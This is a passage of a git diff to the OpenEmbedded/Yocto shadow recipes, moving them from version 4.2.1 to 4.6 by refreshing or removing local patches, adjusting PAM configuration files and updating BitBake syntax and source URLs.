-@@ -335,16 +335,10 @@ if test "$enable_subids" != "no"; then
- dnl
- dnl FIXME: check if 32 bit UIDs/GIDs are supported by libc
- dnl
-- AC_RUN_IFELSE([AC_LANG_SOURCE([
--#include <sys/types.h>
--int main(void) {
-- uid_t u;
-- gid_t g;
-- return (sizeof u < 4) || (sizeof g < 4);
--}
-- ])], [id32bit="yes"], [id32bit="no"])
--
-- if test "x$id32bit" = "xyes"; then
-+ AC_CHECK_SIZEOF([uid_t],, [#include "sys/types.h"])
-+ AC_CHECK_SIZEOF([gid_t],, [#include "sys/types.h"])
-+
-+ if test "$ac_cv_sizeof_uid_t" -ge 4 && test "$ac_cv_sizeof_gid_t" -ge 4; then
- AC_DEFINE(ENABLE_SUBIDS, 1, [Define to support the subordinate IDs.])
- enable_subids="yes"
- else
diff --git a/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch b/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch
index 4fa3d184ed..cd99aad135 100644
--- a/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch
+++ b/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch
@@ -1,3 +1,8 @@
+From f512071dd3a4c29d4bf048c5a89c4ba9160e37b1 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Thu, 17 Jul 2014 15:53:34 +0800
+Subject: [PATCH] commonio.c-fix-unexpected-open-failure-in-chroot-env
+
Upstream-Status: Inappropriate [OE specific]
commonio.c: fix unexpected open failure in chroot environment
@@ -11,36 +16,33 @@ the codes.
Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
---
- lib/commonio.c | 16 ++++++++++++----
+ lib/commonio.c | 16 ++++++++++++----
1 file changed, 12 insertions(+), 4 deletions(-)
diff --git a/lib/commonio.c b/lib/commonio.c
-index cc536bf..51cafd9 100644
+index 01a26c9..82b2868 100644
--- a/lib/commonio.c
+++ b/lib/commonio.c
-@@ -613,10 +613,18 @@ int commonio_open (struct commonio_db *db, int mode)
+@@ -601,10 +601,18 @@ int commonio_open (struct commonio_db *db, int mode)
db->cursor = NULL;
db->changed = false;
- fd = open (db->filename,
- (db->readonly ? O_RDONLY : O_RDWR)
-- | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW);
+- | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW | O_CLOEXEC);
- saved_errno = errno;
+ if (db->readonly) {
+ fd = open (db->filename,
+ (true ? O_RDONLY : O_RDWR)
-+ | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW);
++ | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW | O_CLOEXEC);
+ saved_errno = errno;
+ } else {
+ fd = open (db->filename,
+ (false ? O_RDONLY : O_RDWR)
-+ | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW);
++ | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW| O_CLOEXEC);
+ saved_errno = errno;
+ }
+
db->fp = NULL;
if (fd >= 0) {
#ifdef WITH_TCB
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/shadow/files/fix-installation-failure-with-subids-disabled.patch b/meta/recipes-extended/shadow/files/fix-installation-failure-with-subids-disabled.patch
deleted file mode 100644
index 02cb91aafd..0000000000
--- a/meta/recipes-extended/shadow/files/fix-installation-failure-with-subids-disabled.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-Upstream-Status: Pending
-
-Subject: fix installation failure with subids disabled
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- src/Makefile.am | 5 ++++-
- 1 file changed, 4 insertions(+), 1 deletion(-)
-
-diff --git a/src/Makefile.am b/src/Makefile.am
-index 25e288d..076f8ef 100644
---- a/src/Makefile.am
-+++ b/src/Makefile.am
-@@ -52,7 +52,10 @@ usbin_PROGRAMS = \
- noinst_PROGRAMS = id sulogin
-
- suidbins = su
--suidubins = chage chfn chsh expiry gpasswd newgrp passwd newuidmap newgidmap
-+suidubins = chage chfn chsh expiry gpasswd newgrp passwd
-+if ENABLE_SUBIDS
-+suidubins += newgidmap newuidmap
-+endif
- if ACCT_TOOLS_SETUID
- suidubins += chage chgpasswd chpasswd groupadd groupdel groupmod newusers useradd userdel usermod
- endif
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/shadow/files/login.defs_shadow-sysroot b/meta/recipes-extended/shadow/files/login.defs_shadow-sysroot
index 8a68dd341a..09df77d2e7 100644
--- a/meta/recipes-extended/shadow/files/login.defs_shadow-sysroot
+++ b/meta/recipes-extended/shadow/files/login.defs_shadow-sysroot
@@ -1,3 +1,4 @@
+# SPDX-License-Identifier: BSD-3-Clause OR Artistic-1.0
#
# /etc/login.defs - Configuration control definitions for the shadow package.
#
diff --git a/meta/recipes-extended/shadow/files/pam.d/chpasswd b/meta/recipes-extended/shadow/files/pam.d/chpasswd
index 9e3efa68ba..b769d92ba4 100644
--- a/meta/recipes-extended/shadow/files/pam.d/chpasswd
+++ b/meta/recipes-extended/shadow/files/pam.d/chpasswd
@@ -1,4 +1,6 @@
# The PAM configuration file for the Shadow 'chpasswd' service
#
+auth sufficient pam_rootok.so
+account required pam_permit.so
password include common-password
diff --git a/meta/recipes-extended/shadow/files/pam.d/login b/meta/recipes-extended/shadow/files/pam.d/login
index b340058539..d39e09b1ea 100644
--- a/meta/recipes-extended/shadow/files/pam.d/login
+++ b/meta/recipes-extended/shadow/files/pam.d/login
@@ -57,10 +57,6 @@ auth optional pam_group.so
# (Replaces the use of /etc/limits in old login)
session required pam_limits.so
-# Prints the last login info upon succesful login
-# (Replaces the `LASTLOG_ENAB' option from login.defs)
-session optional pam_lastlog.so
-
# Prints the motd upon succesful login
# (Replaces the `MOTD_FILE' option in login.defs)
session optional pam_motd.so
diff --git a/meta/recipes-extended/shadow/files/pam.d/newusers b/meta/recipes-extended/shadow/files/pam.d/newusers
index 4aa3dde48b..4c59dfa478 100644
--- a/meta/recipes-extended/shadow/files/pam.d/newusers
+++ b/meta/recipes-extended/shadow/files/pam.d/newusers
@@ -1,4 +1,6 @@
# The PAM configuration file for the Shadow 'newusers' service
#
+auth sufficient pam_rootok.so
+account required pam_permit.so
password include common-password
diff --git a/meta/recipes-extended/shadow/files/securetty b/meta/recipes-extended/shadow/files/securetty
index 2be341a216..820728faa6 100644
--- a/meta/recipes-extended/shadow/files/securetty
+++ b/meta/recipes-extended/shadow/files/securetty
@@ -7,6 +7,7 @@ ttyS0
ttyS1
ttyS2
ttyS3
+ttyS4
# ARM AMBA SoCs
ttyAM0
diff --git a/meta/recipes-extended/shadow/files/shadow-4.1.3-dots-in-usernames.patch b/meta/recipes-extended/shadow/files/shadow-4.1.3-dots-in-usernames.patch
deleted file mode 100644
index a7bb0a9290..0000000000
--- a/meta/recipes-extended/shadow/files/shadow-4.1.3-dots-in-usernames.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-# commit message copied from openembedded:
-# commit 246c80637b135f3a113d319b163422f98174ee6c
-# Author: Khem Raj <raj.khem@gmail.com>
-# Date: Wed Jun 9 13:37:03 2010 -0700
-#
-# shadow-4.1.4.2: Add patches to support dots in login id.
-#
-# Signed-off-by: Khem Raj <raj.khem@gmail.com>
-#
-# comment added by Kevin Tian <kevin.tian@intel.com>, 2010-08-11
-
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
-Index: shadow-4.1.4.2/libmisc/chkname.c
-===================================================================
---- shadow-4.1.4.2.orig/libmisc/chkname.c 2009-04-28 12:14:04.000000000 -0700
-+++ shadow-4.1.4.2/libmisc/chkname.c 2010-06-03 17:43:20.638973857 -0700
-@@ -61,6 +61,7 @@ static bool is_valid_name (const char *n
- ( ('0' <= *name) && ('9' >= *name) ) ||
- ('_' == *name) ||
- ('-' == *name) ||
-+ ('.' == *name) ||
- ( ('$' == *name) && ('\0' == *(name + 1)) )
- )) {
- return false;
diff --git a/meta/recipes-extended/shadow/files/shadow-relaxed-usernames.patch b/meta/recipes-extended/shadow/files/shadow-relaxed-usernames.patch
deleted file mode 100644
index 1af04d5fe8..0000000000
--- a/meta/recipes-extended/shadow/files/shadow-relaxed-usernames.patch
+++ /dev/null
@@ -1,100 +0,0 @@
-
-The groupadd from shadow does not allow upper case group names, the
-same is true for the upstream shadow. But distributions like
-Debian/Ubuntu/CentOS has their own way to cope with this problem,
-this patch is picked up from CentOS release 7.0 to relax the usernames
-restrictions to allow the upper case group names, and the relaxation is
-POSIX compliant because POSIX indicate that usernames are composed of
-characters from the portable filename character set [A-Za-z0-9._-].
-
-Upstream-Status: Pending
-
-Signed-off-by: Shan Hai <shan.hai@windriver.com>
-
-diff -urpN a/libmisc/chkname.c b/libmisc/chkname.c
-index 5089112..f40a0da 100644
---- a/libmisc/chkname.c
-+++ b/libmisc/chkname.c
-@@ -49,21 +49,28 @@
- static bool is_valid_name (const char *name)
- {
- /*
-- * User/group names must match [a-z_][a-z0-9_-]*[$]
-- */
-- if (('\0' == *name) ||
-- !((('a' <= *name) && ('z' >= *name)) || ('_' == *name))) {
-+ * User/group names must match gnu e-regex:
-+ * [a-zA-Z0-9_.][a-zA-Z0-9_.-]{0,30}[a-zA-Z0-9_.$-]?
-+ *
-+ * as a non-POSIX, extension, allow "$" as the last char for
-+ * sake of Samba 3.x "add machine script"
-+ */
-+ if ( ('\0' == *name) ||
-+ !((*name >= 'a' && *name <= 'z') ||
-+ (*name >= 'A' && *name <= 'Z') ||
-+ (*name >= '0' && *name <= '9') ||
-+ (*name == '_') || (*name == '.')
-+ )) {
- return false;
- }
-
- while ('\0' != *++name) {
-- if (!(( ('a' <= *name) && ('z' >= *name) ) ||
-- ( ('0' <= *name) && ('9' >= *name) ) ||
-- ('_' == *name) ||
-- ('-' == *name) ||
-- ('.' == *name) ||
-- ( ('$' == *name) && ('\0' == *(name + 1)) )
-- )) {
-+ if (!( (*name >= 'a' && *name <= 'z') ||
-+ (*name >= 'A' && *name <= 'Z') ||
-+ (*name >= '0' && *name <= '9') ||
-+ (*name == '_') || (*name == '.') || (*name == '-') ||
-+ (*name == '$' && *(name + 1) == '\0')
-+ )) {
- return false;
- }
- }
-diff -urpN a/man/groupadd.8.xml b/man/groupadd.8.xml
-index 230fd0c..94f7807 100644
---- a/man/groupadd.8.xml
-+++ b/man/groupadd.8.xml
-@@ -222,12 +222,6 @@
- <refsect1 id='caveats'>
- <title>CAVEATS</title>
- <para>
-- Groupnames must start with a lower case letter or an underscore,
-- followed by lower case letters, digits, underscores, or dashes.
-- They can end with a dollar sign.
-- In regular expression terms: [a-z_][a-z0-9_-]*[$]?
-- </para>
-- <para>
- Groupnames may only be up to &GROUP_NAME_MAX_LENGTH; characters long.
- </para>
- <para>
-diff -urpN a/man/useradd.8.xml b/man/useradd.8.xml
-index 5dec989..fe623b9 100644
---- a/man/useradd.8.xml
-+++ b/man/useradd.8.xml
-@@ -336,7 +336,7 @@
- </term>
- <listitem>
- <para>
-- Do no create the user's home directory, even if the system
-+ Do not create the user's home directory, even if the system
- wide setting from <filename>/etc/login.defs</filename>
- (<option>CREATE_HOME</option>) is set to
- <replaceable>yes</replaceable>.
-@@ -607,12 +607,6 @@
- </para>
-
- <para>
-- Usernames must start with a lower case letter or an underscore,
-- followed by lower case letters, digits, underscores, or dashes.
-- They can end with a dollar sign.
-- In regular expression terms: [a-z_][a-z0-9_-]*[$]?
-- </para>
-- <para>
- Usernames may only be up to 32 characters long.
- </para>
- </refsect1>
diff --git a/meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch b/meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch
index 15f8044fa2..1eacb8a53f 100644
--- a/meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch
+++ b/meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch
@@ -1,88 +1,115 @@
+From 38882ab288fd4d2cc2e45dff222ae3412c8fe357 Mon Sep 17 00:00:00 2001
+From: Kang Kai <kai.kang@windriver.com>
+Date: Wed, 20 Jul 2011 19:18:14 +0800
+Subject: [PATCH] shadow: update pam related configure files
+
The system-auth in the configure files is from Fedora which put all the 4 pam type rules
in one file.
In yocto it obey the way with Debian/Ubuntu, and the names are common-auth, common-account,
common-password and common-session.
So update them with oe way.
-Upstream-Status: Pending
+See meta/recipes-extended/pam/libpam/pam.d/common-password
+
+Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Kang Kai <kai.kang@windriver.com>
+---
+ etc/pam.d/chage | 2 +-
+ etc/pam.d/chgpasswd | 2 +-
+ etc/pam.d/groupadd | 2 +-
+ etc/pam.d/groupdel | 2 +-
+ etc/pam.d/groupmems | 2 +-
+ etc/pam.d/groupmod | 2 +-
+ etc/pam.d/useradd | 2 +-
+ etc/pam.d/userdel | 2 +-
+ etc/pam.d/usermod | 2 +-
+ 9 files changed, 9 insertions(+), 9 deletions(-)
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/chage shadow-4.1.4.3/etc/pam.d/chage
---- shadow-4.1.4.3/etc/pam.d.orig/chage 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/chage 2011-07-20 19:03:08.964844958 +0800
+diff --git a/etc/pam.d/chage b/etc/pam.d/chage
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/chage
++++ b/etc/pam.d/chage
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/chgpasswd shadow-4.1.4.3/etc/pam.d/chgpasswd
---- shadow-4.1.4.3/etc/pam.d.orig/chgpasswd 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/chgpasswd 2011-07-20 19:03:26.544844958 +0800
+diff --git a/etc/pam.d/chgpasswd b/etc/pam.d/chgpasswd
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/chgpasswd
++++ b/etc/pam.d/chgpasswd
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/groupadd shadow-4.1.4.3/etc/pam.d/groupadd
---- shadow-4.1.4.3/etc/pam.d.orig/groupadd 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/groupadd 2011-07-20 19:04:08.124844958 +0800
+diff --git a/etc/pam.d/groupadd b/etc/pam.d/groupadd
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/groupadd
++++ b/etc/pam.d/groupadd
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/groupdel shadow-4.1.4.3/etc/pam.d/groupdel
---- shadow-4.1.4.3/etc/pam.d.orig/groupdel 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/groupdel 2011-07-20 19:04:26.114844958 +0800
+diff --git a/etc/pam.d/groupdel b/etc/pam.d/groupdel
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/groupdel
++++ b/etc/pam.d/groupdel
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/groupmems shadow-4.1.4.3/etc/pam.d/groupmems
---- shadow-4.1.4.3/etc/pam.d.orig/groupmems 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/groupmems 2011-07-20 19:04:35.074844958 +0800
+diff --git a/etc/pam.d/groupmems b/etc/pam.d/groupmems
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/groupmems
++++ b/etc/pam.d/groupmems
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/groupmod shadow-4.1.4.3/etc/pam.d/groupmod
---- shadow-4.1.4.3/etc/pam.d.orig/groupmod 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/groupmod 2011-07-20 19:04:44.864844958 +0800
+diff --git a/etc/pam.d/groupmod b/etc/pam.d/groupmod
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/groupmod
++++ b/etc/pam.d/groupmod
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/useradd shadow-4.1.4.3/etc/pam.d/useradd
---- shadow-4.1.4.3/etc/pam.d.orig/useradd 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/useradd 2011-07-20 19:07:26.244844958 +0800
+diff --git a/etc/pam.d/useradd b/etc/pam.d/useradd
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/useradd
++++ b/etc/pam.d/useradd
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/userdel shadow-4.1.4.3/etc/pam.d/userdel
---- shadow-4.1.4.3/etc/pam.d.orig/userdel 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/userdel 2011-07-20 19:07:35.734844958 +0800
+diff --git a/etc/pam.d/userdel b/etc/pam.d/userdel
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/userdel
++++ b/etc/pam.d/userdel
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/usermod shadow-4.1.4.3/etc/pam.d/usermod
---- shadow-4.1.4.3/etc/pam.d.orig/usermod 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/usermod 2011-07-20 19:07:42.024844958 +0800
+diff --git a/etc/pam.d/usermod b/etc/pam.d/usermod
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/usermod
++++ b/etc/pam.d/usermod
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
diff --git a/meta/recipes-extended/shadow/files/useradd b/meta/recipes-extended/shadow/files/useradd
new file mode 100644
index 0000000000..782aeef418
--- /dev/null
+++ b/meta/recipes-extended/shadow/files/useradd
@@ -0,0 +1,8 @@
+# useradd defaults file
+GROUP=100
+HOME=/home
+INACTIVE=-1
+EXPIRE=
+SHELL=/bin/sh
+SKEL=/etc/skel
+CREATE_MAIL_SPOOL=no
diff --git a/meta/recipes-extended/shadow/files/usermod-fix-compilation-failure-with-subids-disabled.patch b/meta/recipes-extended/shadow/files/usermod-fix-compilation-failure-with-subids-disabled.patch
deleted file mode 100644
index 37dc153fca..0000000000
--- a/meta/recipes-extended/shadow/files/usermod-fix-compilation-failure-with-subids-disabled.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-Upstream-Status: Pending
-
-usermod: fix compilation failure with subids disabled
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- src/usermod.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/src/usermod.c b/src/usermod.c
-index e7d4351..685b50a 100644
---- a/src/usermod.c
-+++ b/src/usermod.c
-@@ -1360,7 +1360,7 @@ static void process_flags (int argc, char **argv)
- Prog, (unsigned long) user_newid);
- exit (E_UID_IN_USE);
- }
--
-+#ifdef ENABLE_SUBIDS
- if ( (vflg || Vflg)
- && !is_sub_uid) {
- fprintf (stderr,
-@@ -1376,6 +1376,7 @@ static void process_flags (int argc, char **argv)
- Prog, sub_gid_dbname (), "-w", "-W");
- exit (E_USAGE);
- }
-+#endif
- }
-
- /*
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/shadow/shadow-securetty_4.2.1.bb b/meta/recipes-extended/shadow/shadow-securetty_4.6.bb
index c78f888cf4..913c159c81 100644
--- a/meta/recipes-extended/shadow/shadow-securetty_4.2.1.bb
+++ b/meta/recipes-extended/shadow/shadow-securetty_4.6.bb
@@ -5,11 +5,11 @@ LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384
INHIBIT_DEFAULT_DEPS = "1"
-PR = "r3"
SRC_URI = "file://securetty"
-S = "${WORKDIR}"
+S = "${WORKDIR}/sources"
+UNPACKDIR = "${S}"
# Since SERIAL_CONSOLES is likely to be set from the machine configuration
PACKAGE_ARCH = "${MACHINE_ARCH}"
@@ -18,7 +18,7 @@ do_install () {
# Ensure we add a suitable securetty file to the package that has
# most common embedded TTYs defined.
install -d ${D}${sysconfdir}
- install -m 0400 ${WORKDIR}/securetty ${D}${sysconfdir}/securetty
+ install -m 0400 ${S}/securetty ${D}${sysconfdir}/securetty
if [ ! -z "${SERIAL_CONSOLES}" ]; then
# Our SERIAL_CONSOLES contains a baud rate and sometimes extra
# options as well. The following pearl :) takes that and converts
diff --git a/meta/recipes-extended/shadow/shadow-sysroot_4.2.1.bb b/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb
index ef014628f6..13cfab6aab 100644
--- a/meta/recipes-extended/shadow/shadow-sysroot_4.2.1.bb
+++ b/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb
@@ -1,23 +1,20 @@
SUMMARY = "Shadow utils requirements for useradd.bbclass"
-HOMEPAGE = "http://pkg-shadow.alioth.debian.org"
-BUGTRACKER = "https://alioth.debian.org/tracker/?group_id=30580"
+HOMEPAGE = "http://github.com/shadow-maint/shadow"
+BUGTRACKER = "http://github.com/shadow-maint/shadow/issues"
SECTION = "base utils"
-LICENSE = "BSD | Artistic-1.0"
-LIC_FILES_CHKSUM = "file://login.defs_shadow-sysroot;md5=25e2f2de4dfc8f966ac5cdfce45cd7d5"
+LICENSE = "BSD-3-Clause | Artistic-1.0"
+LIC_FILES_CHKSUM = "file://login.defs_shadow-sysroot;endline=1;md5=ceddfb61608e4db87012499555184aed"
DEPENDS = "base-passwd"
-PR = "r3"
# The sole purpose of this recipe is to provide the /etc/login.defs
# file for the target sysroot - needed so the shadow-native utilities
# can add custom users/groups for recipes that use inherit useradd.
SRC_URI = "file://login.defs_shadow-sysroot"
-SRC_URI[md5sum] = "b8608d8294ac88974f27b20f991c0e79"
-SRC_URI[sha256sum] = "633f5bb4ea0c88c55f3642c97f9d25cbef74f82e0b4cf8d54e7ad6f9f9caa778"
-
-S = "${WORKDIR}"
+S = "${WORKDIR}/sources"
+UNPACKDIR = "${S}"
do_install() {
install -d ${D}${sysconfdir}
@@ -27,6 +24,8 @@ do_install() {
SYSROOT_DIRS += "${sysconfdir}"
# don't create any packages
-# otherwise: dbus-dev depends on shadow-sysroot-dev which depends on shadow-sysroot
+# otherwise: dbus-dev depends on shadow-sysroot-dev which depends on shadow-sysroot
# and this has another copy of /etc/login.defs already provided by shadow
PACKAGES = ""
+
+inherit nopackages
diff --git a/meta/recipes-extended/shadow/shadow.inc b/meta/recipes-extended/shadow/shadow.inc
index cc189649b2..c15715fc77 100644
--- a/meta/recipes-extended/shadow/shadow.inc
+++ b/meta/recipes-extended/shadow/shadow.inc
@@ -1,43 +1,31 @@
SUMMARY = "Tools to change and administer password and group data"
-HOMEPAGE = "http://pkg-shadow.alioth.debian.org"
-BUGTRACKER = "https://alioth.debian.org/tracker/?group_id=30580"
+HOMEPAGE = "http://github.com/shadow-maint/shadow"
+DESCRIPTION = "${SUMMARY}"
+BUGTRACKER = "http://github.com/shadow-maint/shadow/issues"
SECTION = "base/utils"
-LICENSE = "BSD | Artistic-1.0"
-LIC_FILES_CHKSUM = "file://COPYING;md5=ed80ff1c2b40843cf5768e5229cf16e5 \
- file://src/passwd.c;beginline=8;endline=30;md5=d83888ea14ae61951982d77125947661"
-
-DEPENDS_class-native = ""
-DEPENDS_class-nativesdk = ""
-
-SRC_URI = "http://pkg-shadow.alioth.debian.org/releases/${BPN}-${PV}.tar.xz \
- file://shadow-4.1.3-dots-in-usernames.patch \
- file://usermod-fix-compilation-failure-with-subids-disabled.patch \
- file://fix-installation-failure-with-subids-disabled.patch \
- file://0001-Do-not-read-login.defs-before-doing-chroot.patch \
- file://check_size_of_uid_t_and_gid_t_using_AC_CHECK_SIZEOF.patch \
- file://0001-useradd-copy-extended-attributes-of-home.patch \
- file://0001-shadow-CVE-2017-12424 \
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c9a450b7be84eac23e6353efecb60b5b \
+ file://src/passwd.c;beginline=2;endline=7;md5=67bcf314687820b2f010d4863fce3fc5 \
+ "
+
+DEPENDS = "virtual/crypt"
+
+GITHUB_BASE_URI = "https://github.com/shadow-maint/shadow/releases"
+SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/${BP}.tar.gz \
+ file://0001-lib-copydir-copy_entry-use-temporary-stat-buffer.patch \
${@bb.utils.contains('PACKAGECONFIG', 'pam', '${PAM_SRC_URI}', '', d)} \
+ file://useradd \
"
-SRC_URI_append_class-target = " \
+SRC_URI:append:class-target = " \
file://login_defs_pam.sed \
file://shadow-update-pam-conf.patch \
- file://shadow-relaxed-usernames.patch \
"
-SRC_URI_append_class-native = " \
- file://0001-Disable-use-of-syslog-for-sysroot.patch \
- file://allow-for-setting-password-in-clear-text.patch \
+SRC_URI:append:class-native = " \
file://commonio.c-fix-unexpected-open-failure-in-chroot-env.patch \
- file://0001-useradd.c-create-parent-directories-when-necessary.patch \
- "
-SRC_URI_append_class-nativesdk = " \
- file://0001-Disable-use-of-syslog-for-sysroot.patch \
"
-
-SRC_URI[md5sum] = "2bfafe7d4962682d31b5eba65dba4fc8"
-SRC_URI[sha256sum] = "3b0893d1476766868cd88920f4f1231c4795652aa407569faff802bcda0f3d41"
+SRC_URI[sha256sum] = "377fe0d7c1a0aa5e3514c08fdf5ddc70c9dcbb391678c2134445ed97326bcc26"
# Additional Policy files for PAM
PAM_SRC_URI = "file://pam.d/chfn \
@@ -48,20 +36,23 @@ PAM_SRC_URI = "file://pam.d/chfn \
file://pam.d/passwd \
file://pam.d/su"
-inherit autotools gettext
+inherit autotools gettext github-releases pkgconfig
+
+export CONFIG_SHELL="/bin/sh"
-EXTRA_OECONF += "--without-audit \
- --without-libcrack \
- --without-selinux \
+EXTRA_OECONF += " \
--with-group-name-max-length=24 \
--enable-subordinate-ids=yes \
+ --without-sssd \
${NSCDOPT}"
+CFLAGS:append:libc-musl = " -DLIBBSD_OVERLAY"
+
NSCDOPT = ""
-NSCDOPT_class-native = "--without-nscd"
-NSCDOPT_class-nativesdk = "--without-nscd"
-NSCDOPT_libc-glibc = "${@bb.utils.contains('DISTRO_FEATURES', 'libc-spawn', '--with-nscd', '--without-nscd', d)}"
-
+NSCDOPT:class-native = "--without-nscd"
+NSCDOPT:class-nativesdk = "--without-nscd"
+NSCDOPT:libc-glibc = "--with-nscd"
+
PAM_PLUGINS = "libpam-runtime \
pam-plugin-faildelay \
pam-plugin-securetty \
@@ -69,7 +60,6 @@ PAM_PLUGINS = "libpam-runtime \
pam-plugin-env \
pam-plugin-group \
pam-plugin-limits \
- pam-plugin-lastlog \
pam-plugin-motd \
pam-plugin-mail \
pam-plugin-shells \
@@ -77,17 +67,21 @@ PAM_PLUGINS = "libpam-runtime \
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)}"
-PACKAGECONFIG_class-native ??= "${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)}"
-PACKAGECONFIG_class-nativesdk = ""
+PACKAGECONFIG:class-native ??= "${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)} libbsd"
+PACKAGECONFIG:class-nativesdk = ""
PACKAGECONFIG[pam] = "--with-libpam,--without-libpam,libpam,${PAM_PLUGINS}"
PACKAGECONFIG[attr] = "--with-attr,--without-attr,attr"
PACKAGECONFIG[acl] = "--with-acl,--without-acl,acl"
+PACKAGECONFIG[audit] = "--with-audit,--without-audit,audit"
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux libsemanage"
+PACKAGECONFIG[libbsd] = "--with-libbsd,--without-libbsd,libbsd"
+PACKAGECONFIG[logind] = "--enable-logind,--disable-logind,systemd"
-RDEPENDS_${PN} = "shadow-securetty \
+RDEPENDS:${PN} = "shadow-securetty \
base-passwd \
util-linux-sulogin"
-RDEPENDS_${PN}_class-native = ""
-RDEPENDS_${PN}_class-nativesdk = ""
+RDEPENDS:${PN}:class-native = ""
+RDEPENDS:${PN}:class-nativesdk = ""
do_install() {
oe_runmake DESTDIR="${D}" sbindir="${base_sbindir}" usbindir="${sbindir}" install
@@ -116,19 +110,16 @@ do_install() {
# Use proper encryption for passwords
sed -i 's/^#ENCRYPT_METHOD.*$/ENCRYPT_METHOD SHA512/' ${D}${sysconfdir}/login.defs
- # Now we don't have a mail system. Disable mail creation for now.
- sed -i 's:/bin/bash:/bin/sh:g' ${D}${sysconfdir}/default/useradd
- sed -i '/^CREATE_MAIL_SPOOL/ s:^:#:' ${D}${sysconfdir}/default/useradd
-
- # Use users group by default
- sed -i 's,^GROUP=1000,GROUP=100,g' ${D}${sysconfdir}/default/useradd
+ install -d ${D}${sysconfdir}/default
+ install -m 0644 ${WORKDIR}/useradd ${D}${sysconfdir}/default
}
-do_install_append() {
+do_install:append() {
